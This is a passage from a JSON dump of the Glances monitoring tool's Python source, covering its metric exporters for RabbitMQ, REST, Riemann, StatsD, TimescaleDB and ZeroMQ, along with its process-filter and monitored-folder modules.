logger.debug(f\"Export {name} stats to Prometheus exporter\")\n\n        # Remove non number stats and convert all to float (for Boolean)\n        data = {str(k): float(v) for k, v in zip(columns, points) if isinstance(v, Number)}\n\n        # Write metrics to the Prometheus exporter\n        for metric, value in data.items():\n            labels = self.labels\n            metric_name = self.prefix + self.METRIC_SEPARATOR + name + self.METRIC_SEPARATOR\n            try:\n                obj, stat = metric.split('.')\n                metric_name += stat\n                labels += f\",{self.keys_name.get(name)}:{obj}\"\n            except ValueError:\n                metric_name += metric\n\n            # Prometheus is very sensible to the metric name\n            # See: https://prometheus.io/docs/practices/naming/\n            for c in ' .-/:[]':\n                metric_name = metric_name.replace(c, self.METRIC_SEPARATOR)\n\n            # Get the labels\n            labels = self.parse_tags(labels)\n            # Manage an internal dict between metric name and Gauge\n            if metric_name not in self._metric_dict:\n                self._metric_dict[metric_name] = Gauge(metric_name, \"\", labelnames=listkeys(labels))\n            # Write the value\n            if hasattr(self._metric_dict[metric_name], 'labels'):\n                # Add the labels (see issue #1255)\n                self._metric_dict[metric_name].labels(**labels).set(value)\n            else:\n                self._metric_dict[metric_name].set(value)\n"
  },
  {
    "path": "glances/exports/glances_rabbitmq/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"JMS interface class.\"\"\"\n\nimport datetime\nimport socket\nimport sys\nfrom numbers import Number\n\n# Import pika for RabbitMQ\nimport pika\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the rabbitMQ export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the RabbitMQ export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        self.user = None\n        self.password = None\n        self.queue = None\n        self.protocol = None\n\n        # Optionals configuration keys\n        # N/A\n\n        # Load the rabbitMQ configuration file\n        self.export_enable = self.load_conf(\n            'rabbitmq', mandatories=['host', 'port', 'user', 'password', 'queue'], options=['protocol']\n        )\n        if not self.export_enable:\n            exit('Missing RABBITMQ config')\n\n        # Get the current hostname\n        self.hostname = socket.gethostname()\n\n        # Init the rabbitmq client\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the rabbitmq server.\"\"\"\n        if not self.export_enable:\n            return None\n\n        # Needed for when protocol is not specified and when protocol is upper case\n        # only amqp and amqps supported\n        if self.protocol is not None and (self.protocol.lower() == 'amqps'):\n            self.protocol = 'amqps'\n        else:\n            self.protocol = 'amqp'\n\n        try:\n            parameters = pika.URLParameters(\n                self.protocol + '://' + self.user + ':' + self.password + '@' + self.host + ':' + self.port + '/'\n            )\n            connection = pika.BlockingConnection(parameters)\n            return connection.channel()\n        except Exception as e:\n            logger.critical(f\"Connection to rabbitMQ server {self.host}:{self.port} failed. {e}\")\n            sys.exit(2)\n\n    def export(self, name, columns, points):\n        \"\"\"Write the points in RabbitMQ.\"\"\"\n        data = 'hostname=' + self.hostname + ', name=' + name + ', dateinfo=' + datetime.datetime.utcnow().isoformat()\n        for i in range(len(columns)):\n            if not isinstance(points[i], Number):\n                continue\n            data += \", \" + columns[i] + \"=\" + str(points[i])\n\n        logger.debug(data)\n        try:\n            self.client.basic_publish(exchange='', routing_key=self.queue, body=data)\n        except Exception as e:\n            logger.error(f\"Can not export stats to RabbitMQ ({e})\")\n"
  },
  {
    "path": "glances/exports/glances_restful/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"RESTful interface class.\"\"\"\n\nfrom requests import post\n\nfrom glances.exports.export import GlancesExport\nfrom glances.globals import listkeys\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the RESTful export module.\n    Be aware that stats will be exported in one big POST request\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the RESTful export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        self.protocol = None\n        self.path = None\n\n        # Load the RESTful section in the configuration file\n        self.export_enable = self.load_conf('restful', mandatories=['host', 'port', 'protocol', 'path'])\n        if not self.export_enable:\n            exit('Missing RESTFUL config')\n\n        # Init the stats buffer\n        # It's a dict of stats\n        self.buffer = {}\n\n        # Init the Statsd client\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the RESTful server.\"\"\"\n        if not self.export_enable:\n            return None\n        # Build the RESTful URL where the stats will be posted\n        url = f'{self.protocol}://{self.host}:{self.port}{self.path}'\n        logger.info(f\"Stats will be exported to the RESTful endpoint {url}\")\n        return url\n\n    def export(self, name, columns, points):\n        \"\"\"Export the stats to the Statsd server.\"\"\"\n        if name == self.last_exported_list()[0] and self.buffer != {}:\n            # One complete loop have been done\n            logger.debug(f\"Export stats ({listkeys(self.buffer)}) to RESTful endpoint ({self.client})\")\n            # Export stats\n            post(self.client, json=self.buffer, allow_redirects=True, timeout=15)\n            # Reset buffer\n            self.buffer = {}\n\n        # Add current stat to the buffer\n        self.buffer[name] = dict(zip(columns, points))\n"
  },
  {
    "path": "glances/exports/glances_riemann/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Riemann interface class.\"\"\"\n\nimport socket\nfrom numbers import Number\n\n# Import bernhard for Riemann\nimport bernhard\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the Riemann export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the Riemann export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        # N/A\n\n        # Optional configuration keys\n        # N/A\n\n        # Load the Riemann configuration\n        self.export_enable = self.load_conf('riemann', mandatories=['host', 'port'], options=[])\n        if not self.export_enable:\n            exit('Missing RIEMANN config')\n\n        # Get the current hostname\n        self.hostname = socket.gethostname()\n\n        # Init the Riemann client\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the Riemann server.\"\"\"\n        if not self.export_enable:\n            return None\n        try:\n            return bernhard.Client(host=self.host, port=self.port)\n        except Exception as e:\n            logger.critical(f\"Connection to Riemann failed : {e} \")\n            return None\n\n    def export(self, name, columns, points):\n        \"\"\"Write the points in Riemann.\"\"\"\n        for i in range(len(columns)):\n            if not isinstance(points[i], Number):\n                continue\n\n            data = {'host': self.hostname, 'service': name + \" \" + columns[i], 'metric': points[i]}\n            logger.debug(data)\n            try:\n                self.client.send(data)\n            except Exception as e:\n                logger.error(f\"Cannot export stats to Riemann ({e})\")\n"
  },
  {
    "path": "glances/exports/glances_statsd/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Statsd interface class.\"\"\"\n\nfrom numbers import Number\n\nfrom statsd import StatsClient\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the Statsd export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the Statsd export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        # N/A\n\n        # Optional configuration keys\n        self.prefix = None\n\n        # Load the configuration file\n        self.export_enable = self.load_conf('statsd', mandatories=['host', 'port'], options=['prefix'])\n        if not self.export_enable:\n            exit('Missing STATSD config')\n\n        # Default prefix for stats is 'glances'\n        if self.prefix is None:\n            self.prefix = 'glances'\n\n        # Init the Statsd client\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the Statsd server.\"\"\"\n        if not self.export_enable:\n            return None\n        logger.info(f\"Stats will be exported to StatsD server: {self.host}:{self.port}\")\n        return StatsClient(self.host, int(self.port), prefix=self.prefix)\n\n    def export(self, name, columns, points):\n        \"\"\"Export the stats to the Statsd server.\"\"\"\n        for i in range(len(columns)):\n            if not isinstance(points[i], Number):\n                continue\n            stat_name = f'{name}.{columns[i]}'\n            stat_value = points[i]\n            try:\n                self.client.gauge(normalize(stat_name), stat_value)\n            except Exception as e:\n                logger.error(f\"Can not export stats to Statsd ({e})\")\n        logger.debug(f\"Export {name} stats to Statsd\")\n\n\ndef normalize(name):\n    \"\"\"Normalize name for the Statsd convention\"\"\"\n\n    # Name should not contain some specials chars (issue #1068)\n    ret = name.replace(':', '')\n    ret = ret.replace('%', '')\n    return ret.replace(' ', '_')\n"
  },
  {
    "path": "glances/exports/glances_timescaledb/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2025 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"TimescaleDB interface class.\"\"\"\n\nimport sys\nimport time\nfrom datetime import datetime, timezone\nfrom platform import node\n\nimport psycopg\nfrom psycopg import sql\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n# Define the type conversions for TimescaleDB\n# https://www.postgresql.org/docs/current/datatype.html\nconvert_types = {\n    'bool': 'BOOLEAN',\n    'int': 'BIGINT',\n    'float': 'DOUBLE PRECISION',\n    'str': 'TEXT',\n    'tuple': 'TEXT',  # Store tuples as TEXT (comma-separated)\n    'list': 'TEXT',  # Store lists as TEXT (comma-separated)\n    'NoneType': 'DOUBLE PRECISION',  # Use DOUBLE PRECISION for NoneType to avoid issues with NULL\n}\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the TimescaleDB export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the TimescaleDB export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        self.db = None\n\n        # Optional configuration keys\n        self.user = None\n        self.password = None\n        self.hostname = None\n\n        # Load the configuration file\n        self.export_enable = self.load_conf(\n            'timescaledb', mandatories=['host', 'port', 'db'], options=['user', 'password', 'hostname']\n        )\n        if not self.export_enable:\n            exit('Missing TimescaleDB config')\n\n        # The hostname is always add as an identifier in the TimescaleDB table\n        # so we can filter the stats by hostname\n        self.hostname = self.hostname or node().split(\".\")[0]\n\n        # Init the TimescaleDB client\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the TimescaleDB server.\"\"\"\n        if not self.export_enable:\n            return None\n\n        try:\n            # See https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING\n            conn_str = f\"host={self.host} port={self.port} dbname={self.db} user={self.user} password={self.password}\"\n            db = psycopg.connect(conn_str)\n        except Exception as e:\n            logger.critical(f\"Cannot connect to TimescaleDB server {self.host}:{self.port} ({e})\")\n            sys.exit(2)\n        else:\n            logger.info(f\"Stats will be exported to TimescaleDB server: {self.host}:{self.port}\")\n\n        return db\n\n    def normalize(self, value):\n        \"\"\"Normalize the value for use in a parameterized psycopg query (returns raw Python value).\"\"\"\n        if isinstance(value, (list, tuple)):\n            # Special case for list of one boolean\n            if len(value) == 1 and isinstance(value[0], bool):\n                return value[0]\n            return ', '.join(str(v) for v in value)\n        return value  # None → NULL, bool/str/int/float handled natively by psycopg\n\n    def update(self, stats):\n        \"\"\"Update the TimescaleDB export module.\"\"\"\n        if not self.export_enable:\n            return False\n\n        # Get all the stats & limits\n        # @TODO: Current limitation with sensors, fs and diskio plugins because fields list is not the same\n        self._last_exported_list = [p for p in self.plugins_to_export(stats) if p not in ['sensors', 'fs', 'diskio']]\n        all_stats = stats.getAllExportsAsDict(plugin_list=self.last_exported_list())\n        all_limits = stats.getAllLimitsAsDict(plugin_list=self.last_exported_list())\n\n        # Loop over plugins to export\n        for plugin in self.last_exported_list():\n            if isinstance(all_stats[plugin], dict):\n                all_stats[plugin].update(all_limits[plugin])\n                # Remove the <plugin>_disable field\n                all_stats[plugin].pop(f\"{plugin}_disable\", None)\n                # user is a special field that should not be exported\n                # rename it to user_<plugin>\n                if 'user' in all_stats[plugin]:\n                    all_stats[plugin][f'user_{plugin}'] = all_stats[plugin].pop('user')\n            elif isinstance(all_stats[plugin], list):\n                for i in all_stats[plugin]:\n                    i.update(all_limits[plugin])\n                    # Remove the <plugin>_disable field\n                    i.pop(f\"{plugin}_disable\", None)\n                    # user is a special field that should not be exported\n                    # rename it to user_<plugin>\n                    if 'user' in i:\n                        i[f'user_{plugin}'] = i.pop('user')\n            else:\n                continue\n\n            plugin_stats = all_stats[plugin]\n            creation_list = []  # List used to create the TimescaleDB table\n            segmented_by = []  # List of columns used to segment the data\n            values_list = []  # List of values to insert (list of lists, one list per row)\n            if isinstance(plugin_stats, dict):\n                # Stats is a dict\n                # Create the list used to create the TimescaleDB table\n                creation_list.append('time TIMESTAMPTZ NOT NULL')\n                creation_list.append('hostname_id TEXT NOT NULL')\n                segmented_by.extend(['hostname_id'])  # Segment by hostname\n                for key, value in plugin_stats.items():\n                    creation_list.append(f\"{key} {convert_types[type(value).__name__]} NULL\")\n                values_list.append(datetime.now(timezone.utc))  # Add the current time (insertion time)\n                values_list.append(self.hostname)  # Add the hostname\n                values_list.extend([self.normalize(value) for value in plugin_stats.values()])\n                values_list = [values_list]\n            elif isinstance(plugin_stats, list) and len(plugin_stats) > 0 and 'key' in plugin_stats[0]:\n                # Stats is a list\n                # Create the list used to create the TimescaleDB table\n                creation_list.append('time TIMESTAMPTZ NOT NULL')\n                creation_list.append('hostname_id TEXT NOT NULL')\n                creation_list.append('key_id TEXT NOT NULL')\n                segmented_by.extend(['hostname_id', 'key_id'])  # Segment by hostname and key\n                for key, value in plugin_stats[0].items():\n                    creation_list.append(f\"{key} {convert_types[type(value).__name__]} NULL\")\n                # Create the values list (it is a list of list to have a single datamodel for all the plugins)\n                for plugin_item in plugin_stats:\n                    item_list = []\n                    item_list.append(datetime.now(timezone.utc))  # Add the current time (insertion time)\n                    item_list.append(self.hostname)  # Add the hostname\n                    item_list.append(plugin_item.get('key'))\n                    item_list.extend([self.normalize(value) for value in plugin_item.values()])\n                    values_list.append(item_list[:-1])\n            else:\n                continue\n\n            # Export stats to TimescaleDB\n            # logger.info(plugin)\n            # logger.info(f\"Segmented by: {segmented_by}\")\n            # logger.info(list(zip(creation_list, values_list[0])))\n            self.export(plugin, creation_list, segmented_by, values_list)\n\n        return True\n\n    def export(self, plugin, creation_list, segmented_by, values_list):\n        \"\"\"Export the stats to the TimescaleDB server.\"\"\"\n        logger.debug(f\"Export {plugin} stats to TimescaleDB\")\n\n        with self.client.cursor() as cur:\n            # Is the table exists?\n            cur.execute(\n                \"SELECT EXISTS(SELECT * FROM information_schema.tables WHERE table_name=%s)\",\n                [plugin],\n            )\n            if not cur.fetchone()[0]:\n                # Create the table if it does not exist\n                # https://github.com/timescale/timescaledb/blob/main/README.md#create-a-hypertable\n                # Build CREATE TABLE using sql.Identifier for column names (prevents injection)\n                # Each item in creation_list is \"colname TYPE [NULL|NOT NULL]\"\n                fields = sql.SQL(', ').join(\n                    sql.SQL(\"{} {}\").format(sql.Identifier(item.split(' ')[0]), sql.SQL(' '.join(item.split(' ')[1:])))\n                    for item in creation_list\n                )\n                create_query = sql.SQL(\n                    \"CREATE TABLE {table} ({fields}) WITH (\"\n                    \"timescaledb.hypertable, \"\n                    \"timescaledb.partition_column='time', \"\n                    \"timescaledb.segmentby = {segmentby});\"\n                ).format(\n                    table=sql.Identifier(plugin),\n                    fields=fields,\n                    segmentby=sql.Literal(', '.join(segmented_by)),\n                )\n                logger.debug(f\"Create table: {create_query}\")\n                try:\n                    cur.execute(create_query)\n                except Exception as e:\n                    logger.error(f\"Cannot create table {plugin}: {e}\")\n                    return\n\n            # Insert the data using parameterized queries (prevents injection)\n            # https://github.com/timescale/timescaledb/blob/main/README.md#insert-and-query-data\n            col_names = [item.split(' ')[0] for item in creation_list]\n            cols = sql.SQL(', ').join(sql.Identifier(c) for c in col_names)\n            placeholders = sql.SQL(', ').join(sql.Placeholder() for _ in col_names)\n            insert_query = sql.SQL(\"INSERT INTO {table} ({cols}) VALUES ({vals})\").format(\n                table=sql.Identifier(plugin),\n                cols=cols,\n                vals=placeholders,\n            )\n            logger.debug(f\"Insert data into table: {insert_query}\")\n            try:\n                cur.executemany(insert_query, values_list)\n            except Exception as e:\n                logger.error(f\"Cannot insert data into table {plugin}: {e}\")\n                return\n\n        # Commit the changes (for every plugin or to be done at the end ?)\n        self.client.commit()\n\n    def exit(self):\n        \"\"\"Close the TimescaleDB export module.\"\"\"\n        # Force last write\n        self.client.commit()\n\n        # Close the TimescaleDB client\n        time.sleep(3)  # Wait a bit to ensure all data is written\n        self.client.close()\n\n        # Call the father method\n        super().exit()\n"
  },
  {
    "path": "glances/exports/glances_zeromq/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"ZeroMQ interface class.\"\"\"\n\nimport sys\n\nimport zmq\n\nfrom glances.exports.export import GlancesExport\nfrom glances.globals import b, json_dumps\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the ZeroMQ export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the ZeroMQ export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        self.prefix = None\n\n        # Optionals configuration keys\n        # N/A\n\n        # Load the ZeroMQ configuration file section ([export_zeromq])\n        self.export_enable = self.load_conf('zeromq', mandatories=['host', 'port', 'prefix'], options=[])\n        if not self.export_enable:\n            exit('Missing ZEROMQ config')\n\n        # Init the ZeroMQ context\n        self.context = None\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the CouchDB server.\"\"\"\n        if not self.export_enable:\n            return None\n\n        server_uri = f'tcp://{self.host}:{self.port}'\n\n        try:\n            self.context = zmq.Context()\n            publisher = self.context.socket(zmq.PUB)\n            publisher.bind(server_uri)\n        except Exception as e:\n            logger.critical(f\"Cannot connect to ZeroMQ server {server_uri} ({e})\")\n            sys.exit(2)\n        else:\n            logger.info(f\"Connected to the ZeroMQ server {server_uri}\")\n\n        return publisher\n\n    def exit(self):\n        \"\"\"Close the socket and context\"\"\"\n        if self.client is not None:\n            self.client.close()\n        if self.context is not None:\n            self.context.destroy()\n\n    def export(self, name, columns, points):\n        \"\"\"Write the points to the ZeroMQ server.\"\"\"\n        logger.debug(f\"Export {name} stats to ZeroMQ\")\n\n        # Create DB input\n        data = dict(zip(columns, points))\n\n        # Do not publish empty stats\n        if data == {}:\n            return False\n\n        # Glances envelopes the stats in a publish message with two frames:\n        # - First frame containing the following prefix (STRING)\n        # - Second frame with the Glances plugin name (STRING)\n        # - Third frame with the Glances plugin stats (JSON)\n        message = [b(self.prefix), b(name), json_dumps(data)]\n\n        # Write data to the ZeroMQ bus\n        # Result can be view: tcp://host:port\n        try:\n            self.client.send_multipart(message)\n        except Exception as e:\n            logger.error(f\"Cannot export {name} stats to ZeroMQ ({e})\")\n\n        return True\n"
  },
  {
    "path": "glances/filter.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\nimport re\n\nfrom glances.logger import logger\n\n\nclass GlancesFilterList:\n    \"\"\"Manage a lis of GlancesFilter objects\n\n    >>> fl = GlancesFilterList()\n    >>> fl.filter = '.*python.*,user:nicolargo'\n    >>> fl.is_filtered({'name': 'python is in the place'})\n    True\n    >>> fl.is_filtered({'name': 'snake is in the place'})\n    False\n    >>> fl.is_filtered({'name': 'snake is in the place', 'username': 'nicolargo'})\n    True\n    >>> fl.is_filtered({'name': 'snake is in the place', 'username': 'notme'})\n    False\n    \"\"\"\n\n    def __init__(self):\n        self._filter = []\n\n    @property\n    def filter(self):\n        \"\"\"Return the current filter to be applied\"\"\"\n        return self._filter\n\n    @filter.setter\n    def filter(self, value):\n        \"\"\"Add a comma separated list of filters\"\"\"\n        for f in value.split(','):\n            self._add_filter(f)\n\n    def _add_filter(self, filter_input):\n        \"\"\"Add a filter\"\"\"\n        f = GlancesFilter()\n        f.filter = filter_input\n        self._filter.append(f)\n\n    def is_filtered(self, process):\n        \"\"\"Return True if the process is filtered by at least one filter\"\"\"\n        for f in self._filter:\n            if f.is_filtered(process):\n                return True\n        return False\n\n\nclass GlancesFilter:\n    \"\"\"Allow Glances to filter processes\n\n    >>> f = GlancesFilter()\n    >>> f.filter = '.*python.*'\n    >>> f.filter\n    '.*python.*'\n    >>> f.filter_key\n    None\n    >>> f.filter = 'username:nicolargo'\n    >>> f.filter\n    'nicolargo'\n    >>> f.filter_key\n    'username'\n    >>> f.filter = 'username:.*nico.*'\n    >>> f.filter\n    '.*nico.*'\n    >>> f.key\n    'username'\n    \"\"\"\n\n    def __init__(self):\n        # Filter entered by the user (string)\n        self._filter_input = None\n        # Filter to apply\n        self._filter = None\n        # Filter regular expression\n        self._filter_re = None\n        # Dict key where the filter should be applied\n        # Default is None: search on command line and process name\n        self._filter_key = None\n\n    @property\n    def filter_input(self):\n        \"\"\"Return the filter given by the user (as a string)\"\"\"\n        return self._filter_input\n\n    @property\n    def filter(self):\n        \"\"\"Return the current filter to be applied\"\"\"\n        return self._filter\n\n    @filter.setter\n    def filter(self, value):\n        \"\"\"Set the filter (as a string) and compute the regular expression\n\n        A filter could be one of the following:\n        - python > Process name start with python\n        - .*python.* > Process name contain python\n        - user:nicolargo > Process belong to nicolargo user\n        \"\"\"\n        self._filter_input = value\n        if value is None:\n            self._filter = None\n            self._filter_key = None\n        else:\n            new_filter = value.split(':')\n            if len(new_filter) == 1:\n                self._filter = new_filter[0]\n                self._filter_key = None\n            else:\n                self._filter = new_filter[1]\n                self._filter_key = new_filter[0]\n\n        self._filter_re = None\n        if self.filter is not None:\n            logger.debug(\n                \"Set filter to {} on {}\".format(self.filter, self.filter_key if self.filter_key else 'name or cmdline')\n            )\n            # Compute the regular expression\n            try:\n                self._filter_re = re.compile(self.filter)\n                logger.debug(f\"Filter regex compilation OK: {self.filter}\")\n            except Exception as e:\n                logger.error(f\"Cannot compile filter regex: {self.filter} ({e})\")\n                self._filter = None\n                self._filter_re = None\n                self._filter_key = None\n\n    @property\n    def filter_re(self):\n        \"\"\"Return the filter regular expression\"\"\"\n        return self._filter_re\n\n    @property\n    def filter_key(self):\n        \"\"\"key where the filter should be applied\"\"\"\n        return self._filter_key\n\n    def is_filtered(self, process):\n        \"\"\"Return True if the process item match the current filter\n\n        :param process: A dict corresponding to the process item.\n        \"\"\"\n        if self.filter is None:\n            # No filter => Not filtered\n            return False\n\n        if self.filter_key is None:\n            # Apply filter on command line and process name\n            return self._is_process_filtered(process, key='name') or self._is_process_filtered(process, key='cmdline')\n\n        # Apply filter on <key>\n        return self._is_process_filtered(process)\n\n    def _is_process_filtered(self, process, key=None):\n        \"\"\"Return True if the process[key] should be filtered according to the current filter\"\"\"\n        if key is None:\n            key = self.filter_key\n        try:\n            # If the item process[key] is a list, convert it to a string\n            # in order to match it with the current regular expression\n            if isinstance(process[key], list) and key == 'cmdline' and len(process[key]) > 0:\n                value = process[key][0]\n            elif isinstance(process[key], list):\n                value = ' '.join(process[key])\n            else:\n                value = process[key]\n        except KeyError:\n            # If the key did not exist\n            return False\n        try:\n            return self._filter_re.fullmatch(value) is not None\n        except (AttributeError, TypeError):\n            # AttributeError -  Filter processes crashes with a bad regular expression pattern (issue #665)\n            # TypeError - Filter processes crashes if value is None (issue #1105)\n            return False\n"
  },
  {
    "path": "glances/folder_list.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage the folder list.\"\"\"\n\nfrom glances.globals import folder_size, nativestr\nfrom glances.logger import logger\nfrom glances.timer import Timer\n\n\nclass FolderList:\n    \"\"\"This class describes the optional monitored folder list.\n\n    The folder list is a list of 'important' folder to monitor.\n\n    The list (Python list) is composed of items (Python dict).\n    An item is defined (dict keys):\n    * path: Path to the folder\n    * careful: optional careful threshold (in MB)\n    * warning: optional warning threshold (in MB)\n    * critical: optional critical threshold (in MB)\n    \"\"\"\n\n    # Maximum number of items in the list\n    __folder_list_max_size = 10\n    # The folder list\n    __folder_list = []\n    # Default refresh time is 30 seconds for this plugins\n    __default_refresh = 30\n\n    def __init__(self, config):\n        \"\"\"Init the folder list from the configuration file, if it exists.\"\"\"\n        self.config = config\n\n        # A list of Timer\n        # One timer per folder\n        # default timer is __default_refresh, can be overwrite by folder_1_refresh=600\n        self.timer_folders = []\n        self.first_grab = True\n\n        if self.config is not None and self.config.has_section('folders'):\n            # Process monitoring list\n            logger.debug(\"Folder list configuration detected\")\n            self.__set_folder_list('folders')\n        else:\n            self.__folder_list = []\n\n    def __set_folder_list(self, section):\n        \"\"\"Init the monitored folder list.\n\n        The list is defined in the Glances configuration file.\n        \"\"\"\n        for line in range(1, self.__folder_list_max_size + 1):\n            value = {}\n            key = 'folder_' + str(line) + '_'\n\n            # Path is mandatory\n            value['indice'] = str(line)\n            value['path'] = self.config.get_value(section, key + 'path')\n            if value['path'] is None:\n                continue\n            value['path'] = nativestr(value['path'])\n\n            # Optional conf keys\n            # Refresh time\n            value['refresh'] = int(self.config.get_value(section, key + 'refresh', default=self.__default_refresh))\n            self.timer_folders.append(Timer(value['refresh']))\n            # Thresholds\n            for i in ['careful', 'warning', 'critical']:\n                # Read threshold\n                value[i] = self.config.get_value(section, key + i)\n                if value[i] is not None:\n                    logger.debug(\"{} threshold for folder {} is {}\".format(i, value[\"path\"], value[i]))\n                # Read action\n                action = self.config.get_value(section, key + i + '_action')\n                if action is not None:\n                    value[i + '_action'] = action\n                    logger.debug(\"{} action for folder {} is {}\".format(i, value[\"path\"], value[i + '_action']))\n\n            # Add the item to the list\n            self.__folder_list.append(value)\n\n    def __str__(self):\n        return str(self.__folder_list)\n\n    def __repr__(self):\n        return self.__folder_list\n\n    def __getitem__(self, item):\n        return self.__folder_list[item]\n\n    def __len__(self):\n        return len(self.__folder_list)\n\n    def __get__(self, item, key):\n        \"\"\"Meta function to return key value of item.\n\n        Return None if not defined or item > len(list)\n        \"\"\"\n        if item < len(self.__folder_list):\n            try:\n                return self.__folder_list[item][key]\n            except Exception:\n                return None\n        else:\n            return None\n\n    def update(self, key='path'):\n        \"\"\"Update the command result attributed.\"\"\"\n        # Only continue if monitor list is not empty\n        if not self.__folder_list:\n            return self.__folder_list\n\n        # Iter upon the folder list\n        for i in range(len(self.get())):\n            # Update folder size\n            if not self.first_grab and i in self.timer_folders and not self.timer_folders[i].finished():\n                continue\n            # Set the key (see issue #2327)\n            self.__folder_list[i]['key'] = key\n            # Get folder size\n            self.__folder_list[i]['size'], self.__folder_list[i]['errno'] = folder_size(self.path(i))\n            if self.__folder_list[i]['errno'] != 0:\n                logger.debug(\n                    'Folder size ({} ~ {}) may not be correct. Error: {}'.format(\n                        self.path(i), self.__folder_list[i]['size'], self.__folder_list[i]['errno']\n                    )\n                )\n            # Reset the timer\n            if i in self.timer_folders:\n                self.timer_folders[i].reset()\n\n        # It is no more the first time...\n        self.first_grab = False\n\n        return self.__folder_list\n\n    def get(self):\n        \"\"\"Return the monitored list (list of dict).\"\"\"\n        return self.__folder_list\n\n    def set(self, new_list):\n        \"\"\"Set the monitored list (list of dict).\"\"\"\n        self.__folder_list = new_list\n\n    def getAll(self):\n        # Deprecated: use get()\n        return self.get()\n\n    def setAll(self, new_list):\n        # Deprecated: use set()\n        self.set(new_list)\n\n    def path(self, item):\n        \"\"\"Return the path of the item number (item).\"\"\"\n        return self.__get__(item, \"path\")\n\n    def careful(self, item):\n        \"\"\"Return the careful threshold of the item number (item).\"\"\"\n        return self.__get__(item, \"careful\")\n\n    def warning(self, item):\n        \"\"\"Return the warning threshold of the item number (item).\"\"\"\n        return self.__get__(item, \"warning\")\n\n    def critical(self, item):\n        \"\"\"Return the critical threshold of the item number (item).\"\"\"\n        return self.__get__(item, \"critical\")\n"
  },
  {
    "path": "glances/globals.py",
    "content": "# ruff: noqa: F401\n#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Common objects shared by all Glances modules.\"\"\"\n\n################\n# GLOBAL IMPORTS\n################\n\nimport base64\nimport errno\nimport functools\nimport importlib\nimport multiprocessing\nimport os\nimport platform\nimport queue\nimport re\nimport socket\nimport subprocess\nimport sys\nimport weakref\nfrom collections import OrderedDict\nfrom configparser import ConfigParser, NoOptionError, NoSectionError\nfrom datetime import datetime\nfrom operator import itemgetter, methodcaller\nfrom statistics import mean\nfrom typing import Any, Optional, Union\nfrom urllib.error import HTTPError, URLError\nfrom urllib.parse import urlparse\nfrom urllib.request import Request, urlopen\n\nimport psutil\n\n# Prefer faster libs for JSON (de)serialization\n# Preference Order: orjson > ujson > json (builtin)\ntry:\n    import orjson as json\n\n    json.dumps = functools.partial(json.dumps, option=json.OPT_NON_STR_KEYS)\nexcept ImportError:\n    # Need to log info but importing logger will cause cyclic imports\n    